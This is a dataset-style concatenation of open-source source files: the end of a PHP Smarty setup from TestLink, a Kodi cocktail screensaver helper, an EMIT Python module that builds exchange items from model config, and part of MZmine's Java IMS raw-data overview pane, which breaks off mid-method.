'history_small' => TL_THEME_IMG_DIR . "history_small.png",
'lock' => TL_THEME_IMG_DIR . "lock.png",
'log_message' => TL_THEME_IMG_DIR . "history.png",
'log_message_small' => TL_THEME_IMG_DIR . "history_small.png",
'note_edit' => TL_THEME_IMG_DIR . "note_edit.png",
'note_edit_greyed' => TL_THEME_IMG_DIR . "note_edit_greyed.png",
'import' => TL_THEME_IMG_DIR . "door_in.png",
'info' => TL_THEME_IMG_DIR . "question.gif",
'insert_step' => TL_THEME_IMG_DIR . "insert_step.png",
'reorder' => TL_THEME_IMG_DIR . "arrow_switch.png",
'search' => TL_THEME_IMG_DIR . "magnifier.png",
'sort' => TL_THEME_IMG_DIR . "sort_hint.png",
'toggle_all' => TL_THEME_IMG_DIR . "toggle_all.gif",
'allToRight' => TL_THEME_IMG_DIR . 'ico_all_r.gif',
'leftToRight' => TL_THEME_IMG_DIR . 'ico_l2r.gif',
'rightToLeft' => TL_THEME_IMG_DIR . 'ico_r2l.gif',
'allToLeft' => TL_THEME_IMG_DIR . 'ico_all_l.gif',
'attachMgmt' => TL_THEME_IMG_DIR . 'upload_16.png',
'attachMgmtGreyed' => TL_THEME_IMG_DIR . 'upload_16_greyed.png',
'manualExec' => TL_THEME_IMG_DIR . 'user.png',
'automatedExec' => TL_THEME_IMG_DIR . 'bullet_wrench.png'
);
$msg = lang_get('show_hide_api_info');
$tlImages['toggle_api_info'] = "<img class=\"clickable\" title=\"{$msg}\" alt=\"{$msg}\" " .
" onclick=\"showHideByClass('span','api_info');event.stopPropagation();\" " .
" src=\"{$tlImages['api_info']}\" align=\"left\" />";
$msg = lang_get('show_hide_direct_link');
$tlImages['toggle_direct_link'] = "<img class=\"clickable\" title=\"{$msg}\" alt=\"{$msg}\" " .
" onclick=\"showHideByClass('div','direct_link');event.stopPropagation();\" " .
" src=\"{$tlImages['direct_link']}\" align=\"left\" />";
// Some useful values for Sort Table Engine
$tlImages['sort_hint'] = '';
switch (TL_SORT_TABLE_ENGINE)
{
case 'kryogenix.org':
$sort_table_by_column = lang_get('sort_table_by_column');
$tlImages['sort_hint'] = "<img title=\"{$sort_table_by_column}\" " .
" alt=\"{$sort_table_by_column}\" " .
" src=\"{$tlImages['sort']}\" align=\"left\" />";
$this->assign("noSortableColumnClass","sorttable_nosort");
break;
default:
$this->assign("noSortableColumnClass",'');
break;
}
// Do not move!!!
$this->assign("tlImages",$tlImages);
// Register functions
$this->registerPlugin("function","lang_get", "lang_get_smarty");
$this->registerPlugin("function","localize_date", "localize_date_smarty");
$this->registerPlugin("function","localize_timestamp", "localize_timestamp_smarty");
$this->registerPlugin("function","localize_tc_status","translate_tc_status_smarty");
$this->registerPlugin("modifier","basename","basename");
$this->registerPlugin("modifier","dirname","dirname");
} // end of function TLSmarty()
} // end of class TLSmarty
?>
| fluffylittlemarshmallow/black-ninja | lib/functions/tlsmarty.inc.php | PHP | gpl-2.0 | 13,438 |
# -*- coding: utf-8 -*-
'''
Copyright (C) 2015-2020 enen92,Zag
This file is part of script.screensaver.cocktail
SPDX-License-Identifier: GPL-2.0-only
See LICENSE for more information.
'''
import xbmc
import xbmcaddon
import xbmcvfs
import thecocktaildb
import os
addon = xbmcaddon.Addon(id='script.screensaver.cocktail')
addon_path = addon.getAddonInfo('path')
addon_userdata = xbmc.translatePath(addon.getAddonInfo('profile')).decode('utf-8')
addon_name = addon.getAddonInfo('name')
cocktailsdb_api = thecocktaildb.Api('1352')
favourite_drinks_folder = os.path.join(addon_userdata,'favourites')
if not os.path.exists(addon_userdata): xbmcvfs.mkdir(addon_userdata)
if not os.path.exists(favourite_drinks_folder): xbmcvfs.mkdir(favourite_drinks_folder)
ACTION_CONTEXT_MENU = 117
ACTION_LEFT = 1
ACTION_RIGHT = 2
ACTION_ESCAPE = 10
ACTION_RETURN = 92
ACTION_ENTER = 7
def removeNonAscii(s):
return "".join(filter(lambda x: ord(x)<128, s))
def translate(text):
return addon.getLocalizedString(text).encode('utf-8')
| enen92/script.screensaver.cocktail | resources/lib/common_cocktail.py | Python | gpl-2.0 | 1,041 |
__author__ = 'tonycastronova'
import cPickle as pickle
import uuid
import stdlib
import utilities.spatial
from emitLogging import elog
from sprint import *
from utilities import io
def create_variable(variable_name_cv):
"""
creates a variable object using the lookup table
"""
sPrint('Loading variable: '+variable_name_cv, MessageType.DEBUG)
var_path = io.getRelativeToAppData('dat/var_cv.dat')
var = pickle.load(open(var_path,'rb'))
sPrint('Loaded var_cv', MessageType.DEBUG)
if variable_name_cv in var:
sPrint('var name in var', MessageType.DEBUG)
V = stdlib.Variable()
V.VariableNameCV(value=variable_name_cv)
V.VariableDefinition(value=var[variable_name_cv].strip())
return V
else:
sPrint('var name not in var', MessageType.DEBUG)
V = stdlib.Variable()
V.VariableNameCV(value=variable_name_cv)
V.VariableDefinition(value='unknown')
#print '> [WARNING] Variable not found in controlled vocabulary : '+variable_name_cv
return V
def create_unit(unit_name):
"""
creates a unit object using the lookup table
"""
unit_path = io.getRelativeToAppData('dat/units_cv.dat')
var = pickle.load(open(unit_path,'rb'))
# dir = os.path.dirname(__file__)
# var = pickle.load(open(os.path.join(dir,'../data/units_cv.dat'),'rb'))
if unit_name in var:
U = stdlib.Unit()
U.UnitName(value=unit_name)
U.UnitTypeCV(value=var[unit_name][0].strip())
U.UnitAbbreviation(value=var[unit_name][1].strip())
return U
else:
U = stdlib.Unit()
U.UnitName(value=unit_name)
U.UnitTypeCV(value='unknown')
U.UnitAbbreviation(value='unknown')
#print '> [WARNING] Unit not found in controlled vocabulary : '+unit_name
return U
def build_exchange_items_from_config(params):
# get all inputs and outputs
iitems = params['input'] if 'input' in params else []
oitems = params['output'] if 'output' in params else []
eitems = iitems + oitems
items = {stdlib.ExchangeItemType.INPUT:[],stdlib.ExchangeItemType.OUTPUT:[]}
# loop through each input/output and create an exchange item
for io in eitems:
variable = None
unit = None
srs = None
geoms = []
# get all input and output exchange items as a list
iotype = stdlib.ExchangeItemType.OUTPUT if io['type'].upper() == stdlib.ExchangeItemType.OUTPUT else stdlib.ExchangeItemType.INPUT
for key, value in io.iteritems():
sPrint(key, MessageType.DEBUG)
if key == 'variable_name_cv':
sPrint('Creating Variable', MessageType.DEBUG)
variable = create_variable(value)
sPrint('Done Creating Variable', MessageType.DEBUG)
if 'variable_definition' in io.keys():
variable.VariableDefinition(io['variable_definition'])
elif key == 'unit_type_cv': unit = create_unit(value)
elif key == 'elementset' :
# check if the value is a path
if os.path.dirname(value ) != '':
gen_path = os.path.abspath(os.path.join(params['basedir'],value))
if not os.path.isfile(gen_path):
# get filepath relative to *.mdl
elog.critical('Could not find file at path %s, generated from relative path %s'%(gen_path, value))
raise Exception('Could not find file at path %s, generated from relative path %s'%(gen_path, value))
# parse the geometry from the shapefile
geoms, srs = utilities.spatial.read_shapefile(gen_path)
srs = srs.AutoIdentifyEPSG()
# otherwise it must be a wkt
else:
try:
# get the wkt text string
value = value.strip('\'').strip('"')
# parse the wkt string into a stdlib.Geometry object
geom = utilities.geometry.fromWKT(value)
for g in geom:
geoms.append(g)
except:
elog.warning('Could not load component geometry from *.mdl file')
# this is OK. Just set the geoms to [] and assume that they will be populated during initialize.
geom = []
if 'espg_code' in io:
srs = utilities.spatial.get_srs_from_epsg(io['epsg_code'])
# generate a unique uuid for this exchange item
id = uuid.uuid4().hex
# create exchange item
ei = stdlib.ExchangeItem(id,
name=variable.VariableNameCV(),
desc=variable.VariableDefinition(),
unit= unit,
variable=variable,
# srs_epsg=srs, #todo: this is causing problems
type=iotype)
# add geometry to exchange item (NEW)
ei.addGeometries2(geoms)
# save exchange items based on type
items[ei.type()].append(ei)
return items
| Castronova/EMIT | utilities/mdl.py | Python | gpl-2.0 | 5,317 |
/*
* Copyright 2006-2021 The MZmine Development Team
*
* This file is part of MZmine.
*
* MZmine is free software; you can redistribute it and/or modify it under the terms of the GNU
* General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* MZmine is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even
* the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with MZmine; if not,
* write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
*/
package io.github.mzmine.modules.visualization.rawdataoverviewims;
import com.google.common.collect.Range;
import io.github.mzmine.datamodel.Frame;
import io.github.mzmine.datamodel.IMSRawDataFile;
import io.github.mzmine.datamodel.MobilityScan;
import io.github.mzmine.datamodel.RawDataFile;
import io.github.mzmine.datamodel.data_access.BinningMobilogramDataAccess;
import io.github.mzmine.datamodel.data_access.EfficientDataAccess;
import io.github.mzmine.gui.chartbasics.chartgroups.ChartGroup;
import io.github.mzmine.gui.chartbasics.chartthemes.EStandardChartTheme;
import io.github.mzmine.gui.chartbasics.gui.wrapper.ChartViewWrapper;
import io.github.mzmine.gui.chartbasics.simplechart.SimpleXYChart;
import io.github.mzmine.gui.chartbasics.simplechart.SimpleXYZScatterPlot;
import io.github.mzmine.gui.chartbasics.simplechart.datasets.ColoredXYDataset;
import io.github.mzmine.gui.chartbasics.simplechart.datasets.ColoredXYZDataset;
import io.github.mzmine.gui.chartbasics.simplechart.providers.impl.series.IMSIonTraceHeatmapProvider;
import io.github.mzmine.gui.chartbasics.simplechart.providers.impl.spectra.CachedFrame;
import io.github.mzmine.gui.chartbasics.simplechart.providers.impl.spectra.FrameHeatmapProvider;
import io.github.mzmine.gui.chartbasics.simplechart.providers.impl.spectra.FrameSummedMobilogramProvider;
import io.github.mzmine.gui.chartbasics.simplechart.providers.impl.spectra.FrameSummedSpectrumProvider;
import io.github.mzmine.gui.chartbasics.simplechart.providers.impl.spectra.SingleMobilityScanProvider;
import io.github.mzmine.gui.chartbasics.simplechart.renderers.ColoredXYBarRenderer;
import io.github.mzmine.gui.preferences.UnitFormat;
import io.github.mzmine.main.MZmineCore;
import io.github.mzmine.modules.visualization.chromatogram.TICDataSet;
import io.github.mzmine.modules.visualization.chromatogram.TICPlot;
import io.github.mzmine.modules.visualization.rawdataoverviewims.threads.BuildMultipleMobilogramRanges;
import io.github.mzmine.modules.visualization.rawdataoverviewims.threads.BuildMultipleTICRanges;
import io.github.mzmine.modules.visualization.rawdataoverviewims.threads.BuildSelectedRanges;
import io.github.mzmine.parameters.parametertypes.selectors.ScanSelection;
import io.github.mzmine.parameters.parametertypes.tolerances.MZTolerance;
import io.github.mzmine.util.RangeUtils;
import java.awt.BasicStroke;
import java.awt.Color;
import java.awt.Stroke;
import java.text.NumberFormat;
import java.util.Date;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import javafx.beans.property.ObjectProperty;
import javafx.beans.property.SimpleObjectProperty;
import javafx.scene.canvas.Canvas;
import javafx.scene.layout.BorderPane;
import javafx.scene.layout.ColumnConstraints;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.RowConstraints;
import javafx.scene.shape.Rectangle;
import org.jetbrains.annotations.Nullable;
import org.jfree.chart.axis.NumberAxis;
import org.jfree.chart.plot.ValueMarker;
import org.jfree.chart.ui.Layer;
import org.jfree.chart.ui.RectangleEdge;
public class IMSRawDataOverviewPane extends BorderPane {
private static final int HEATMAP_LEGEND_HEIGHT = 50;
private final GridPane chartPanel;
private final IMSRawDataOverviewControlPanel controlsPanel;
private final SimpleXYChart<FrameSummedMobilogramProvider> mobilogramChart;
private final SimpleXYChart<FrameSummedSpectrumProvider> summedSpectrumChart;
private final SimpleXYChart<SingleMobilityScanProvider> singleSpectrumChart;
private final SimpleXYZScatterPlot<FrameHeatmapProvider> heatmapChart;
private final SimpleXYZScatterPlot<IMSIonTraceHeatmapProvider> ionTraceChart;
private final TICPlot ticChart;
private final Canvas heatmapLegendCanvas;
private final Canvas ionTraceLegendCanvas;
private final NumberFormat rtFormat;
private final NumberFormat mzFormat;
private final NumberFormat mobilityFormat;
private final NumberFormat intensityFormat;
private final UnitFormat unitFormat;
private final ObjectProperty<Frame> selectedFrame;
private final ObjectProperty<MobilityScan> selectedMobilityScan;
private final ObjectProperty<Range<Double>> selectedMz;
private final Stroke markerStroke = new BasicStroke(1.0f);
// not thread safe, so we need one for building the selected and one for building all the others
private BinningMobilogramDataAccess selectedBinningMobilogramDataAccess;
private BinningMobilogramDataAccess rangesBinningMobilogramDataAccess;
private MZTolerance mzTolerance;
private ScanSelection scanSelection;
private Frame cachedFrame;
private double frameNoiseLevel;
private double mobilityScanNoiseLevel;
private int binWidth;
private Float rtWidth;
private Color markerColor;
private IMSRawDataFile rawDataFile;
private int selectedMobilogramDatasetIndex;
private int selectedChromatogramDatasetIndex;
private Set<Integer> mzRangeTicDatasetIndices;
/**
* Creates a BorderPane layout.
*/
public IMSRawDataOverviewPane() {
this(0, 0, new MZTolerance(0.008, 10), new ScanSelection(1), 2f, 1);
}
public IMSRawDataOverviewPane(final double frameNoiseLevel, final double mobilityScanNoiseLevel,
final MZTolerance mzTolerance, final ScanSelection scanSelection, final Float rtWidth,
final Integer binWidth) {
super();
super.getStyleClass().add("region-match-chart-bg");
getStylesheets().addAll(MZmineCore.getDesktop().getMainWindow().getScene().getStylesheets());
chartPanel = new GridPane();
selectedMobilogramDatasetIndex = -1;
selectedChromatogramDatasetIndex = -1;
mzRangeTicDatasetIndices = new HashSet<>();
selectedMz = new SimpleObjectProperty<>();
selectedMobilityScan = new SimpleObjectProperty<>();
this.mzTolerance = mzTolerance;
this.scanSelection = scanSelection;
this.rtWidth = rtWidth;
this.frameNoiseLevel = frameNoiseLevel;
this.mobilityScanNoiseLevel = mobilityScanNoiseLevel;
this.binWidth = binWidth;
controlsPanel = new IMSRawDataOverviewControlPanel(this, frameNoiseLevel,
mobilityScanNoiseLevel, mzTolerance, scanSelection, rtWidth, binWidth);
controlsPanel.addSelectedRangeListener((obs, old, newVal) -> selectedMz.set(newVal));
initChartPanel();
rtFormat = MZmineCore.getConfiguration().getRTFormat();
mzFormat = MZmineCore.getConfiguration().getMZFormat();
mobilityFormat = MZmineCore.getConfiguration().getMobilityFormat();
intensityFormat = MZmineCore.getConfiguration().getIntensityFormat();
unitFormat = MZmineCore.getConfiguration().getUnitFormat();
setCenter(chartPanel);
selectedFrame = new SimpleObjectProperty<>();
selectedFrame.addListener((observable, oldValue, newValue) -> onSelectedFrameChanged());
mobilogramChart = new SimpleXYChart<>("Mobilogram chart");
summedSpectrumChart = new SimpleXYChart<>("Summed frame spectrum");
singleSpectrumChart = new SimpleXYChart<>("Mobility scan");
heatmapChart = new SimpleXYZScatterPlot<>("Frame heatmap");
ionTraceChart = new SimpleXYZScatterPlot<>("Ion trace chart");
ticChart = new TICPlot();
heatmapLegendCanvas = new Canvas();
ionTraceLegendCanvas = new Canvas();
initCharts();
updateAxisLabels();
initChartLegendPanels();
chartPanel.add(new BorderPane(summedSpectrumChart), 1, 0);
chartPanel.add(new BorderPane(ticChart), 2, 0);
chartPanel.add(new BorderPane(singleSpectrumChart), 3, 0);
chartPanel.add(new BorderPane(mobilogramChart, null, null,
new Rectangle(1, HEATMAP_LEGEND_HEIGHT, javafx.scene.paint.Color.TRANSPARENT), null), 0, 1);
chartPanel.add(new BorderPane(heatmapChart, null, null, heatmapChart.getLegendCanvas(), null),
1, 1);
chartPanel.add(new BorderPane(ionTraceChart, null, null, ionTraceChart.getLegendCanvas(), null),
2, 1, 1, 1);
chartPanel.add(controlsPanel, 3, 1);
markerColor = MZmineCore.getConfiguration().getDefaultColorPalette().getPositiveColorAWT();
initChartListeners();
initSelectedValueListeners();
}
protected void onSelectedFrameChanged() {
clearAllCharts();
if (selectedFrame.get() == null) {
return;
}
// ticChart.removeDatasets(mzRangeTicDatasetIndices);
mzRangeTicDatasetIndices.clear();
cachedFrame = new CachedFrame(selectedFrame.get(), frameNoiseLevel,
mobilityScanNoiseLevel);//selectedFrame.get();//
heatmapChart.setDataset(new FrameHeatmapProvider(cachedFrame));
mobilogramChart.addDataset(new FrameSummedMobilogramProvider(cachedFrame, binWidth));
summedSpectrumChart.addDataset(new FrameSummedSpectrumProvider(cachedFrame));
if (selectedMobilityScan.get() != null) {
singleSpectrumChart.addDataset(new SingleMobilityScanProvider(
cachedFrame.getMobilityScan(selectedMobilityScan.get().getMobilityScanNumber())));
}
MZmineCore.getTaskController().addTask(
new BuildMultipleMobilogramRanges(controlsPanel.getMobilogramRangesList(),
Set.of(cachedFrame), rawDataFile, this, rangesBinningMobilogramDataAccess, new Date()));
if (!RangeUtils.isGuavaRangeEnclosingJFreeRange(
heatmapChart.getXYPlot().getRangeAxis().getRange(),
selectedFrame.get().getMobilityRange())) {
Range<Double> mobilityRange = selectedFrame.get().getMobilityRange();
if (mobilityRange != null) {
heatmapChart.getXYPlot().getRangeAxis()
.setRange(mobilityRange.lowerEndpoint(), mobilityRange.upperEndpoint());
}
}
if (!RangeUtils.isGuavaRangeEnclosingJFreeRange(
heatmapChart.getXYPlot().getDomainAxis().getRange(),
selectedFrame.get().getDataPointMZRange())) {
Range<Double> mzRange = selectedFrame.get().getDataPointMZRange();
if (mzRange != null) {
heatmapChart.getXYPlot().getDomainAxis()
.setRange(mzRange.lowerEndpoint(), mzRange.upperEndpoint());
}
}
updateValueMarkers();
}
private void updateAxisLabels() {
String intensityLabel = unitFormat.format("Intensity", "a.u.");
String mzLabel = "m/z";
String mobilityLabel =
(rawDataFile != null) ? rawDataFile.getMobilityType().getAxisLabel() : "Mobility";
mobilogramChart.setRangeAxisLabel(mobilityLabel);
mobilogramChart.setRangeAxisNumberFormatOverride(mobilityFormat);
mobilogramChart.setDomainAxisLabel(intensityLabel);
mobilogramChart.setDomainAxisNumberFormatOverride(intensityFormat);
summedSpectrumChart.setDomainAxisLabel(mzLabel);
summedSpectrumChart.setDomainAxisNumberFormatOverride(mzFormat);
summedSpectrumChart.setRangeAxisLabel(intensityLabel);
summedSpectrumChart.setRangeAxisNumberFormatOverride(intensityFormat);
singleSpectrumChart.setDomainAxisLabel(mzLabel);
singleSpectrumChart.setDomainAxisNumberFormatOverride(mzFormat);
singleSpectrumChart.setRangeAxisLabel(intensityLabel);
singleSpectrumChart.setRangeAxisNumberFormatOverride(intensityFormat);
heatmapChart.setDomainAxisLabel(mzLabel);
heatmapChart.setDomainAxisNumberFormatOverride(mzFormat);
heatmapChart.setRangeAxisLabel(mobilityLabel);
heatmapChart.setRangeAxisNumberFormatOverride(mobilityFormat);
heatmapChart.setLegendNumberFormatOverride(intensityFormat);
ionTraceChart.setDomainAxisLabel(unitFormat.format("Retention time", "min"));
ionTraceChart.setRangeAxisLabel(mobilityLabel);
ionTraceChart.setDomainAxisNumberFormatOverride(rtFormat);
ionTraceChart.setRangeAxisNumberFormatOverride(mobilityFormat);
ionTraceChart.setLegendNumberFormatOverride(intensityFormat);
}
private void initCharts() {
EStandardChartTheme theme = MZmineCore.getConfiguration().getDefaultChartTheme();
final ColoredXYBarRenderer summedSpectrumRenderer = new ColoredXYBarRenderer(false);
summedSpectrumRenderer.setDefaultItemLabelPaint(theme.getItemLabelPaint());
summedSpectrumRenderer.setDefaultItemLabelGenerator(
summedSpectrumChart.getXYPlot().getRenderer().getDefaultItemLabelGenerator());
summedSpectrumRenderer.setDefaultToolTipGenerator(
summedSpectrumChart.getXYPlot().getRenderer().getDefaultToolTipGenerator());
summedSpectrumChart.setDefaultRenderer(summedSpectrumRenderer);
summedSpectrumChart.setShowCrosshair(false);
// mobilogramChart.getXYPlot().setOrientation(PlotOrientation.HORIZONTAL);
mobilogramChart.getXYPlot().getDomainAxis().setInverted(true);
mobilogramChart.setShowCrosshair(false);
mobilogramChart.setLegendItemsVisible(false);
NumberAxis axis = (NumberAxis) mobilogramChart.getXYPlot().getRangeAxis();
axis.setAutoRangeMinimumSize(0.2);
axis.setAutoRangeIncludesZero(false);
axis.setAutoRangeStickyZero(false);
final ColoredXYBarRenderer singleSpectrumRenderer = new ColoredXYBarRenderer(false);
singleSpectrumRenderer.setDefaultItemLabelPaint(theme.getItemLabelPaint());
singleSpectrumRenderer.setDefaultItemLabelGenerator(
singleSpectrumChart.getXYPlot().getRenderer().getDefaultItemLabelGenerator());
singleSpectrumRenderer.setDefaultToolTipGenerator(
singleSpectrumChart.getXYPlot().getRenderer().getDefaultToolTipGenerator());
singleSpectrumChart.setDefaultRenderer(singleSpectrumRenderer);
singleSpectrumChart.setShowCrosshair(false);
ionTraceChart.setShowCrosshair(false);
ionTraceChart.getXYPlot().setBackgroundPaint(Color.BLACK);
ionTraceChart.setDefaultPaintscaleLocation(RectangleEdge.BOTTOM);
heatmapChart.setShowCrosshair(false);
heatmapChart.getXYPlot().setBackgroundPaint(Color.BLACK);
heatmapChart.setDefaultPaintscaleLocation(RectangleEdge.BOTTOM);
ticChart.getXYPlot().setDomainCrosshairVisible(false);
ticChart.getXYPlot().setRangeCrosshairVisible(false);
ticChart.switchDataPointsVisible();
ticChart.setMinHeight(150);
ChartGroup rtGroup = new ChartGroup(false, false, true, false);
rtGroup.add(new ChartViewWrapper(ticChart));
rtGroup.add(new ChartViewWrapper(ionTraceChart));
ChartGroup mzGroup = new ChartGroup(false, false, true, false);
mzGroup.add(new ChartViewWrapper(heatmapChart));
mzGroup.add(new ChartViewWrapper(summedSpectrumChart));
ChartGroup mobilityGroup = new ChartGroup(false, false, false, true);
mobilityGroup.add(new ChartViewWrapper(heatmapChart));
mobilityGroup.add(new ChartViewWrapper(ionTraceChart));
mobilityGroup.add(new ChartViewWrapper(mobilogramChart));
}
private void initChartPanel() {
ColumnConstraints colConstraints = new ColumnConstraints();
ColumnConstraints colConstraints2 = new ColumnConstraints();
colConstraints.setPercentWidth(15);
colConstraints2.setPercentWidth((100d - 15d) / 3d);
RowConstraints rowConstraints = new RowConstraints();
RowConstraints rowConstraints2 = new RowConstraints();
rowConstraints.setPercentHeight(35);
rowConstraints2.setPercentHeight(65);
chartPanel.getColumnConstraints()
.addAll(colConstraints, colConstraints2, colConstraints2, colConstraints2);
chartPanel.getRowConstraints().addAll(rowConstraints, rowConstraints2);
}
private void initChartLegendPanels() {
heatmapLegendCanvas.setHeight(HEATMAP_LEGEND_HEIGHT);
ionTraceLegendCanvas.setHeight(HEATMAP_LEGEND_HEIGHT);
heatmapChart.setLegendCanvas(heatmapLegendCanvas);
ionTraceChart.setLegendCanvas(ionTraceLegendCanvas);
}
private void initChartListeners() {
mobilogramChart.cursorPositionProperty().addListener(((observable, oldValue, newValue) -> {
if (newValue.getValueIndex() != -1) {
selectedMobilityScan.set(
cachedFrame.getSortedMobilityScans().get(newValue.getValueIndex() * binWidth));
}
}));
singleSpectrumChart.cursorPositionProperty().addListener(
((observable, oldValue, newValue) -> selectedMz.set(
mzTolerance.getToleranceRange(newValue.getDomainValue()))));
summedSpectrumChart.cursorPositionProperty().addListener(
((observable, oldValue, newValue) -> selectedMz.set(
mzTolerance.getToleranceRange(newValue.getDomainValue()))));
heatmapChart.cursorPositionProperty().addListener(((observable, oldValue, newValue) -> {
selectedMz.set(mzTolerance.getToleranceRange(newValue.getDomainValue()));
if (newValue.getDataset() != null) {
selectedMobilityScan.set(
((FrameHeatmapProvider) ((ColoredXYZDataset) newValue.getDataset()).getXyzValueProvider()).getMobilityScanAtValueIndex(
newValue.getValueIndex()));
}
}));
ticChart.cursorPositionProperty().addListener(
((observable, oldValue, newValue) -> setSelectedFrame((Frame) newValue.getScan())));
ionTraceChart.cursorPositionProperty().addListener(((observable, oldValue, newValue) -> {
if (newValue.getDataset() == null || newValue.getValueIndex() == -1) {
return;
}
MobilityScan selectedScan = ((IMSIonTraceHeatmapProvider) ((ColoredXYZDataset) newValue.getDataset()).getXyzValueProvider()).getSpectrum(
newValue.getValueIndex());
if (selectedScan != null) {
setSelectedFrame(selectedScan.getFrame());
selectedMobilityScan.set(selectedScan);
}
}));
}
private void initSelectedValueListeners() {
selectedMobilityScan.addListener(((observable, oldValue, newValue) -> {
singleSpectrumChart.removeAllDatasets();
singleSpectrumChart.addDataset(new SingleMobilityScanProvider(selectedMobilityScan.get()));
updateValueMarkers();
}));
selectedMz.addListener(((observable, oldValue, newValue) -> {
if (selectedMobilogramDatasetIndex != -1) {
mobilogramChart.removeDataSet(selectedMobilogramDatasetIndex, false);
}
controlsPanel.setRangeToMobilogramRangeComp(newValue);
Thread mobilogramCalc = new Thread(
new BuildSelectedRanges(selectedMz.get(), Set.of(cachedFrame), rawDataFile, scanSelection,
this, rtWidth, selectedBinningMobilogramDataAccess));
mobilogramCalc.start();
float rt = selectedFrame.get().getRetentionTime();
ionTraceChart.setDataset(new IMSIonTraceHeatmapProvider(rawDataFile, selectedMz.get(),
Range.closed(Math.max(rawDataFile.getDataRTRange(1).lowerEndpoint(), rt - rtWidth / 2),
Math.min(rawDataFile.getDataRTRange(1).upperEndpoint(), rt + rtWidth / 2)),
mobilityScanNoiseLevel));
updateValueMarkers();
}));
}
public void addMobilogramRangesToChart(List<? extends ColoredXYDataset> previewMobilograms) {
mobilogramChart.addDatasets(previewMobilograms);
updateValueMarkers();
}
public void setTICRangesToChart(List<TICDataSet> ticDataSets, List<Color> ticDatasetColors) {
assert ticDatasetColors.size() == ticDataSets.size();
ticChart.getChart().setNotify(false);
ticChart.removeDatasets(mzRangeTicDatasetIndices);
for (int i = 0; i < ticDataSets.size(); i++) {
mzRangeTicDatasetIndices.add(
ticChart.addTICDataSet(ticDataSets.get(i), ticDatasetColors.get(i)));
}
ticChart.getChart().setNotify(true);
ticChart.getChart().fireChartChanged();
}
public void setSelectedRangesToChart(ColoredXYDataset dataset, TICDataSet ticDataSet,
Color ticDatasetColor) {
if (selectedMobilogramDatasetIndex != -1) {
mobilogramChart.removeDataSet(selectedMobilogramDatasetIndex, false);
}
if (selectedChromatogramDatasetIndex != -1) {
ticChart.removeDataSet(selectedChromatogramDatasetIndex);
}
selectedMobilogramDatasetIndex = mobilogramChart.addDataset(dataset);
selectedChromatogramDatasetIndex = ticChart.addTICDataSet(ticDataSet, ticDatasetColor);
}
private void updateValueMarkers() {
if (selectedMobilityScan.get() != null) {
mobilogramChart.getXYPlot().clearRangeMarkers();
mobilogramChart.getXYPlot().addRangeMarker(
new ValueMarker(selectedMobilityScan.getValue().getMobility(), markerColor, markerStroke),
Layer.FOREGROUND);
heatmapChart.getXYPlot().clearRangeMarkers();
heatmapChart.getXYPlot().addRangeMarker(
new ValueMarker(selectedMobilityScan.getValue().getMobility(), markerColor, markerStroke),
Layer.FOREGROUND);
ionTraceChart.getXYPlot().clearRangeMarkers();
ionTraceChart.getXYPlot().addRangeMarker(
new ValueMarker(selectedMobilityScan.get().getMobility(), markerColor, markerStroke),
Layer.FOREGROUND);
}
if (selectedMz.getValue() != null) {
summedSpectrumChart.getXYPlot().clearDomainMarkers();
summedSpectrumChart.getXYPlot().addDomainMarker(
new ValueMarker(RangeUtils.rangeCenter(selectedMz.get()), markerColor, markerStroke),
Layer.FOREGROUND);
singleSpectrumChart.getXYPlot().clearDomainMarkers();
singleSpectrumChart.getXYPlot().addDomainMarker(
new ValueMarker(RangeUtils.rangeCenter(selectedMz.get()), markerColor, markerStroke),
Layer.FOREGROUND);
heatmapChart.getXYPlot().clearDomainMarkers();
heatmapChart.getXYPlot().addDomainMarker(
new ValueMarker(RangeUtils.rangeCenter(selectedMz.get()), markerColor, markerStroke),
Layer.FOREGROUND);
}
if (selectedFrame.get() != null) {
ticChart.getXYPlot().clearDomainMarkers();
ticChart.getXYPlot().addDomainMarker(
new ValueMarker(selectedFrame.get().getRetentionTime(), markerColor, markerStroke),
Layer.FOREGROUND);
ionTraceChart.getXYPlot().clearDomainMarkers();
ionTraceChart.getXYPlot().addDomainMarker(
new ValueMarker(selectedFrame.get().getRetentionTime(), markerColor, markerStroke),
Layer.FOREGROUND);
}
}
protected void updateTicPlot() {
ticChart.removeAllDataSets();
mzRangeTicDatasetIndices.clear();
Thread thread = new Thread(
new BuildMultipleTICRanges(controlsPanel.getMobilogramRangesList(), rawDataFile,
scanSelection, this));
thread.start();
TICDataSet dataSet = new TICDataSet(rawDataFile, scanSelection.getMatchingScans(rawDataFile),
rawDataFile.getDataMZRange(), null);
ticChart.addTICDataSet(dataSet, rawDataFile.getColorAWT());
ticChart.getXYPlot().getDomainAxis().setRange(
RangeUtils.guavaToJFree(RangeUtils.getPositiveRange(rawDataFile.getDataRTRange(), 0.001f)));
ticChart.setTitle("BPC - " + rawDataFile.getName(), "");
if (!RangeUtils.isJFreeRangeConnectedToGuavaRange(
ticChart.getXYPlot().getDomainAxis().getRange(), rawDataFile.getDataRTRange(1))) {
ticChart.getXYPlot().getDomainAxis().setRange(rawDataFile.getDataRTRange().lowerEndpoint(),
rawDataFile.getDataRTRange().upperEndpoint());
}
}
public void addRanges(List<Range<Double>> ranges) {
controlsPanel.addRanges(ranges);
updateTicPlot();
}
private void clearAllCharts() {
mobilogramChart.removeAllDatasets();
summedSpectrumChart.removeAllDatasets();
heatmapChart.removeAllDatasets();
singleSpectrumChart.removeAllDatasets();
}
public Frame getSelectedFrame() {
return selectedFrame.get();
}
public void setSelectedFrame(Frame frame) {
this.selectedFrame.set(frame);
}
public void setSelectedFrame(int frameId) {
Frame frame = rawDataFile.getFrame(frameId);
if (frame != null) {
setSelectedFrame(frame);
}
}
public ObjectProperty<Frame> selectedFrameProperty() {
return selectedFrame;
}
@Nullable
public RawDataFile getRawDataFile() {
return rawDataFile;
}
public void setRawDataFile(RawDataFile rawDataFile) {
if (!(rawDataFile instanceof IMSRawDataFile)) {
return;
}
this.rawDataFile = (IMSRawDataFile) rawDataFile;
rangesBinningMobilogramDataAccess = EfficientDataAccess.of(this.rawDataFile, binWidth);
